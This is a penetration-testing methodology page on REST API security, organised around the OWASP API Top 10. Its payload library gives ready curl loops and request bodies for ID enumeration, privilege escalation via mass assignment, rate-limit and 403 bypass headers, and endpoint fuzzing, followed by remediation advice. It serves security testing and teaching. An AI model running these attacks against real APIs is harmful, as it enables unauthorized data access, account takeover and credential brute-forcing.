REST API Security Testing Severity: HighβCritical | CWE: CWE-284, CWE-285, CWE-200 OWASP API Top 10: API1βAPI10
What Is REST API Security Testing? REST APIs expose application logic directly β often with less protection than web UIs. The OWASP API Security Top 10 defines the primary attack vectors: Broken Object Level Authorization (BOLA/IDOR), Broken Authentication, Broken Object Property Level Authorization (Mass Assignment), Rate Limiting bypass, and more.
REST API attack surface vs web UI: - No session cookie β token-based auth β different bypass techniques - Machine-readable responses β easier automated enumeration - Versioned endpoints (/v1, /v2) β old versions may lack controls - Documentation endpoints (/swagger, /openapi.json) β reveals all endpoints - Often less WAF/filtering than web UI Discovery Checklist Find API documentation: /swagger-ui, /openapi.json, /api-docs, /redoc, /graphql Enumerate versioned endpoints: /v1/, /v2/, /api/v1/, /api/v2/ Check for shadow/zombie endpoints (old versions still accessible) Test BOLA on all object IDs (numeric, UUID, base64) Test HTTP method override: GETβDELETE, GETβPUT via X-HTTP-Method-Override Test mass assignment in PUT/PATCH bodies (add admin/role fields) Test authentication header bypass: missing, invalid, expired tokens Test rate limiting: login, OTP, search, expensive operations Test JWT-specific attacks (see 28_JWT.md) Check CORS on API: does it reflect Origin with Access-Control-Allow-Credentials: true? Test for verbose error messages revealing internals Test file upload endpoints (see 24_FileUpload.md) Check pagination: does negative/zero offset reveal unintended data? Payload Library Attack 1 β BOLA / Broken Object Level Authorization # Basic IDOR: change your ID to someone else's GET /api/v1/users/MY_ID/profile β 200 OK (your data) GET /api/v1/users/1/profile β should be 403, but... GET /api/v1/users/ADMIN_ID/profile β cross-account access? # Systematic enumeration: for id in $(seq 1 100); do status=$(curl -so /dev/null -w "%{http_code}" \ "https://api.target.com/v1/users/$id/profile" \ -H "Authorization: Bearer USER_TOKEN") echo "User $id: $status" done # UUID enumeration β less guessable but still test: # Find UUIDs in responses, increment/fuzz them curl https://api.target.com/v1/orders/6ba7b810-9dad-11d1-80b4-00c04fd430c8 \ -H "Authorization: Bearer ANOTHER_USER_TOKEN" # Object type substitution: GET /api/orders/1234 β your order GET /api/invoices/1234 β same ID, different resource type GET /api/admin/users/1234 β horizontal β vertical escalation # Nested resource BOLA: GET /api/users/VICTIM_ID/addresses # victim's addresses GET /api/users/VICTIM_ID/payment-methods # victim's payment methods GET /api/users/VICTIM_ID/orders # victim's order history Attack 2 β Broken Function Level Authorization (BFLA) # Test accessing admin-only endpoints with regular user token: GET /api/v1/admin/users β list all users POST /api/v1/admin/users/1/promote β promote to admin DELETE /api/v1/users/VICTIM_ID β delete another user GET /api/v1/reports/financial β financial data POST /api/v1/system/config β system configuration # HTTP method confusion: # App only protects POST /resource but not PUT, PATCH, DELETE GET /api/v1/admin/settings β 403 POST /api/v1/admin/settings β 403 PUT /api/v1/admin/settings β 200? (missing protection) # Path traversal in API: GET /api/v1/users/me/../admin/users β path confusion GET /api/v1/../admin/settings β skip auth prefix # Version bypass: GET /api/v2/admin/users β 403 GET /api/v1/admin/users β 200 (old version unprotected) GET /v1/admin/users β different path, same backend Attack 3 β Mass Assignment # Find: what fields does the server accept? # PUT /api/v1/users/me with extra fields: curl -X PUT https://api.target.com/v1/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "Test User", "email": "test@test.com", "role": "admin", "isAdmin": true, "verified": true, "credits": 99999, "subscription": "enterprise", "permissions": ["read", "write", "delete", "admin"] }' # PATCH β partial update often even less protected: curl -X PATCH https://api.target.com/v1/users/me \ -H "Authorization: Bearer TOKEN" \ -H "Content-Type: application/json" \ -d '{"role": "admin"}' # Nested mass assignment: curl -X PUT https://api.target.com/v1/products/123 \ -d '{"price": 0.01, "discount": 100, "internal": {"cost": 0}}' # Registration mass assignment: curl -X POST https://api.target.com/v1/register \ -d '{ "username": "attacker", "password": "pass", "isAdmin": true, "emailVerified": true, "betaAccess": true }' Attack 4 β Rate Limit Bypass # Header-based IP rotation (X-Forwarded-For etc.): for ip in $(seq 1 50 | xargs -I{} echo "192.168.1.{}"); do curl -s -X POST https://api.target.com/v1/auth/login \ -H "X-Forwarded-For: $ip" \ -H "Content-Type: application/json" \ -d '{"email":"admin@corp.com","password":"test"}' & done wait # Rate limit per endpoint but not per action: # Endpoint A limits to 10/min, Endpoint B has no limit # But both write to same counter β abuse endpoint B # Null byte bypass (some parsers treat as request boundary): POST /api/login HTTP/1.1 email=admin@corp.com%00&password=test # Content-Type variation: # Rate limit checks JSON Content-Type only β bypass with form-encoded: curl -X POST https://api.target.com/v1/otp/verify \ -H "Content-Type: application/x-www-form-urlencoded" \ -d "otp=123456" # instead of JSON Attack 5 β API Key / Token Testing # Find API keys in: # JS files, Git history, mobile app decompiled code, documentation # Test API key scope escalation: # My key: read-only β try write operations curl -X DELETE https://api.target.com/v1/users/1337 \ -H "X-API-Key: MY_READ_ONLY_KEY" # API key in URL β leaks in Referer, logs: curl "https://api.target.com/v1/data?api_key=SECRET_KEY" # More secure: Authorization: ApiKey SECRET_KEY # Test: does API accept both header and URL param key? # β URL param is logged in server access logs β harvest from logs # Key rotation bypass (old keys still valid?): curl https://api.target.com/v1/me \ -H "Authorization: Bearer OLD_TOKEN" # JWT-based API auth β see 28_JWT.md for full attack tree Attack 6 β Excessive Data Exposure # API returns more data than UI shows: # UI shows: name, email # API returns: name, email, phone, dob, ssn, password_hash, internal_id curl -s https://api.target.com/v1/users/me \ -H "Authorization: Bearer TOKEN" | python3 -m json.tool # Nested object exposure: curl -s https://api.target.com/v1/products/1 | python3 -m json.tool # β {"name":"Widget","price":9.99,"internal":{"cost":0.50,"supplier_id":42}} # Admin fields in regular user response: # Look for: isAdmin, role, permissions, internal_notes, createdBy, updatedAt # Batch API β get all users' data: POST /api/graphql {"query": "{ users { nodes { id email passwordHash } } }"} # Or: GET /api/v1/users?page=1&per_page=10000 # pagination abuse Attack 7 β Shadow / Zombie Endpoint Discovery # Enumerate API versions: for v in v1 v2 v3 v4 v0 beta alpha internal; do status=$(curl -so /dev/null -w "%{http_code}" \ "https://api.target.com/$v/users") echo "/$v/users: $status" done # Check Swagger/OpenAPI docs: for path in swagger-ui swagger-ui.html api-docs openapi.json \ swagger.json swagger.yaml redoc v1/swagger.json; do curl -si "https://target.com/$path" | head -3 done # Find API from JS bundles: grep -rn "api/v\|endpoint\|baseURL\|apiUrl" --include="*.js" . | \ grep -v "node_modules" # Wayback Machine for old API endpoints: waybackurls api.target.com | grep -E "/api/v[0-9]" | sort -u # ffuf with API wordlist: ffuf -u https://api.target.com/FUZZ \ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \ -mc 200,201,204,301,302,403 -o api_endpoints.json Tools # Burp Suite: # - Proxy: capture all API traffic # - Repeater: manual BOLA/BFLA testing # - Scanner: automated IDOR detection # - Extensions: Autorize (BOLA), AuthMatrix (BFLA), Param Miner # mitmproxy β API traffic interception: mitmproxy --mode transparent --ssl-insecure # Postman / Insomnia β API testing: # Import Swagger/OpenAPI spec β test all endpoints # REST-assured (Java) β automated API testing framework # jwt_tool β JWT analysis (see 28_JWT.md): python3 jwt_tool.py TOKEN -t # ffuf β API endpoint fuzzing: ffuf -u "https://api.target.com/v1/FUZZ" \ -H "Authorization: Bearer TOKEN" \ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt # Autorize (Burp extension): # Automatic BOLA testing β replays every request with low-priv token # and compares responses # 403 bypass techniques: for h in "X-Original-URL" "X-Rewrite-URL" "X-Custom-IP-Authorization" \ "X-Forwarded-For" "X-Forward-For" "X-Remote-IP"; do curl -s -H "$h: 127.0.0.1" "https://api.target.com/admin/users" | head -5 done # HTTP method fuzzing: for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do status=$(curl -so /dev/null -w "%{http_code}" \ -X "$method" "https://api.target.com/v1/users/1337" \ -H "Authorization: Bearer LOW_PRIV_TOKEN") echo "$method: $status" done Remediation Reference BOLA: validate object ownership on every request β not just authentication BFLA: enforce function-level authorization server-side β client-side hiding is not protection Mass Assignment: use allowlists for accepted fields β never auto-bind all request body fields Rate Limiting: apply per user, per IP, and per endpoint β use token bucket or sliding window algorithms Excessive Data Exposure: return only the fields needed β use response DTOs, never serialise full DB models Shadow APIs: inventory and decommission old API versions; redirect with 301 or return 410 Gone API Documentation: restrict Swagger/OpenAPI access to internal network or require authentication Versioning strategy: when deprecating, enforce authorization controls on old versions equally Part of the Web Application Penetration Testing Methodology series.